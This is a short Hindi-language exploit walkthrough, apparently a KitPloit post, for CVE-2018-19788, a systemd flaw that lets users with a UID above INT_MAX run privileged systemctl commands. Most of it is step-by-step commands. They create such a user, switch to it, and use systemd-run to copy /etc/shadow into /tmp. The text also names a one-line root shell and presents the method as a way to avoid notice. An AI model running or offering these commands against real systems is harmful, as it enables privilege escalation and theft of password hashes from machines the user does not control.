CVE-2018-19788 का उपयोग करके बिना रूट शेल के सुरक्षित फ़ाइलें डंप करना

CVE-2018-19788 एक समस्या है जहां INT_MAX (यानी 4000000000) से अधिक UID वाला कोई भी उपयोगकर्ता सिस्टमड लिनक्स बॉक्स, जैसे Ubuntu, पर कोई भी systemctl कमांड चला सकता है। (रूट शेल प्राप्त करने के लिए एक लेख पहले से मौजूद है: यहाँ). इस लेख और पूर्ण रूट शेल लेख के बीच मुख्य अंतर यह है कि यह रूट उपयोगकर्ता के बजाय स्वयं उपयोगकर्ता के रूप में चलाया जाएगा (मूल रूप से सिर्फ एक PoC है, ईमानदारी से)

रूट शेल निष्पादित किए बिना /etc/shadow प्राप्त करना

रूट शेल प्राप्त करना उतना ही सरल है जितना systemd-run -t /bin/bash चलाना, लेकिन यदि आप नज़रों से बचना चाहते हैं तो आप टर्मिनल के बिना विशेषाधिकार प्राप्त फ़ाइलें प्राप्त करने के लिए सरल कमांड चला सकते हैं। इसे करने के लिए इन चरणों का पालन करें:

• INT_MAX से ऊपर UID वाला एक उपयोगकर्ता जोड़ें:
  root@kitploit:~

  adduser --uid 4000000000 someusername
  

• उपयोगकर्ता खाते में स्विच करें:
  root@kitploit:~

  su someusername
  

• अपनी पसंद की किसी भी फ़ाइल के लिए कमांड चलाएँ (हम इसके लिए /etc/shadow का उपयोग करेंगे):
  root@kitploit:~

  systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  

• आपकी फ़ाइल अब /tmp में है:
  root@kitploit:~

  cat /tmp/results_poc.txt
  

PoC वीडियो